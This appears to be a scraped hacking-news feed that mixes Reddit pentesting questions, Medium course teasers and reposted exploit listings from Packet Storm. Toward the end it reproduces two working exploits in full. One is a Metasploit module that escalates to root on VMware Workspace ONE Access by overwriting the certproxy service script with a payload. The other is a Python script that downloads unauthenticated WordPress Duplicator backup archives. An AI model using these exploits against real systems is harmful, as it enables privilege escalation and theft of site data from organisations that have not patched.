hacking: security in practice
How to tell which continent/zone Amazon is hosting a web application?

We have a supplier who is supposed to be hosting our SaaS application on Amazon Europe due to data privacy etc. However, we have a suspicion they are hosting it in the US. Are there any online tools which when given a URL can determine the host location?

submitted by /u/erolbrown
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Certified Ethical Hacking V11 & Counter Measures By Pentester Club
https://medium.com/@pentesterclubpvtltd/certified-ethical-hacking-v11-counter-measures-by-pentester-club-26d661238b76?source=rss------bug_bounty-5

Pentester Club Pvt Ltd CEH certification training course provides you the hands-on training required to master the techniques hackers use…Continue reading on Medium » (https://medium.com/@pentesterclubpvtltd/certified-ethical-hacking-v11-counter-measures-by-pentester-club-26d661238b76?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

what is footprinting in hacking || types of footprinting || Pentester Club
https://medium.com/@pentesterclubpvtltd/what-is-footprinting-in-hacking-types-of-footprinting-pentester-club-95e3592ed2fa?source=rss------bug_bounty-5

Footprinting is an ethical hacking technique used to gather as much data as possible about a specific targeted computer system, an…Continue reading on Medium » (https://medium.com/@pentesterclubpvtltd/what-is-footprinting-in-hacking-types-of-footprinting-pentester-club-95e3592ed2fa?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

SS7 Practical Video From Pentester Club
https://medium.com/@pentesterclubpvtltd/ss7-practical-video-from-pentester-club-800a72df6b9c?source=rss------bug_bounty-5

Signaling System 7 (SS7) is an architecture for performing out-of-band signaling in support of the call-establishment, billing, routing…Continue reading on Medium » (https://medium.com/@pentesterclubpvtltd/ss7-practical-video-from-pentester-club-800a72df6b9c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The Instacart Bug Bounty Program - How We Work with White Hat Hackers to Secure Instacart

Authors: James Cha, Vickie Li, Shashank Mirji, and Frank FilhoContinue reading on tech-at-instacart »
Read more...

Hacking Windows from within
https://www.reddit.com/r/Pentesting/comments/wg7wkl/hacking_windows_from_within/

Hello, I'm a beginner in all of this so I thought I would ask all of you for some guidance. Almost everyone that teaches online (YouTube or online courses) use Kali Linux or other flavour.. is there ever a case in which you have access to a windows machine and you have to hack from within? So basically you don't have your kali pre-installed tools in there and possibly you are restricted to run non trusted exe or you are limited to white listed executables.. Do you know what I mean? You get access to the windows machine with low privileges, how do you escalate? Where do you go from there? I know it must be kinda complex but a rough guide would be very much appreciated. submitted by /u/AccomplishedRush4869 (https://www.reddit.com/user/AccomplishedRush4869)
[link] (https://www.reddit.com/r/Pentesting/comments/wg7wkl/hacking_windows_from_within/) [comments] (https://www.reddit.com/r/Pentesting/comments/wg7wkl/hacking_windows_from_within/)

___________________________
@hacking_Attack
@Hacking_Video

Finding internal ip for big organization

I have found a way to find internal ip for big organization(for example twitter, linkedin etc).The way to do that is very simple.Continue reading on Medium »
Read more...

Finding internal ip for big organization
https://medium.com/@kandar.souvik6/finding-internal-ip-for-big-organization-99e0547fa073?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I have found a way to find internal ip for big organization(for example twitter, linkedin etc).The way to do that is very simple.Continue reading on Medium » (https://medium.com/@kandar.souvik6/finding-internal-ip-for-big-organization-99e0547fa073?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Is there any getting around Deep Freeze?
https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/

Has anyone encountered Deep Freeze (https://www.faronics.com/products/deep-freeze), and know if there's a way around its "reboot to restore" ability? submitted by /u/greyyit (https://www.reddit.com/user/greyyit)
[link] (https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/) [comments] (https://www.reddit.com/r/redteamsec/comments/wg9wpr/is_there_any_getting_around_deep_freeze/)

___________________________
@hacking_Attack
@Hacking_Video

Internal Pen
https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/

Does anyone have a sort of checklist for things they do on an assumed breach internal Pen Test? submitted by /u/HazardNet (https://www.reddit.com/user/HazardNet)
[link] (https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/) [comments] (https://www.reddit.com/r/Pentesting/comments/wg90vs/internal_pen/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Download Manager 3.2.50 Arbitrary File Deletion

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome WebGL Uniform Integer Overflows

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
The WebGL implementation for setting uniform values with an ArrayBuffer argument do not properly handle large buffer sizes. As WASM now allows allocating large ArrayBuffers, this can lead to buffer overflows when writing to the GPU command buffer.

SHA-256 | 0bdf6d06a281ed2823e5f46ea472615509e7f1f676d5bd3238d8cfd3b783d262

Download
Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware Workspace ONE Access Privilege Escalation

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.

SHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Unix

TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
'Description' => %q{
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
invokes it. The service control is permitted via the sudo configuration without a password.
},
'License' => MSF_LICENSE,
'Author' => [
'Spencer McIntyre'
],
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2022-31660' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
],
'DisclosureDate' => '2022-08-02',
'Notes' => {
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
# is disabled by default though.
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
}
)
)
end

def certproxy_service
# this script's location depends on the version, so find it.
return @certproxy_service if @certproxy_service

@certproxy_service = [
'/usr/local/horizon/scripts/certproxyService.sh',
'/opt/vmware/certproxy/bin/certproxyService.sh'
].find { |path| file?(path) }

vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
@certproxy_service
end

def sudo(arguments)
cmd_exec("sudo --non-interactive #{arguments}")
end

def check
unless whoami == 'horizon'
return CheckCode::Safe('Not running as the horizon user.')
end

token = Rex::Text.rand_text_alpha(10)
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
end

unless writable?(TARGET_FILE)
return CheckCode::Safe('Cannot write to the service file.')
end

CheckCode::Appears
end

def exploit
# backup the original permissions and contents
print_status('Backing up the original file...')
@backup = {
stat: stat(TARGET_FILE),
contents: read_file(TARGET_FILE)
}

if payload.arch.first == ARCH_CMD
payload_data = "#!/bin/bash\n#{payload.encoded}"
else
payload_data = generate_payload_exe
end
upload_and_chmodx(TARGET_FILE, payload_data)
print_status('Triggering the payload...')
sudo("--background #{certproxy_service} restart")
end

def cleanup
return unless @backup

print_status('Restoring file contents...')
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
write_file(TARGET_FILE, @backup[:contents])
print_status('Restoring file permissions...')
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
end
end Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Duplicator 1.4.7 Unauthenticated Backup Download

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
WordPress Duplicator plugin version 1.4.7 suffers from a backup disclosure vulnerability.

SHA-256 | 04982466db7c76497be8314d2b990e3813032ae3c42472e2da24efa0e2ac3be6

Download
## Title: WordPress Plugin Duplicator 1.4.7 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.03.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin
## Description:
The WordPress Plugin Duplicator 1.4.7 suffers from Unauthenticated
Backup Download.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```mysql
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL =
"http://pwned_host.com/wordpress/wp-content/backups-dup-lite/20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip"
response = requests.get(vulnerableURL)
open("20220803_pwned_28dce10d86c575519304_20220803113819_archive.zip",
"wb").write(response.content)
time.sleep(5)
print("Right now, you just downloaded the secret archive =)\n")
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin)

## Proof and Exploit:
[href](https://streamable.com/n3osob)

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video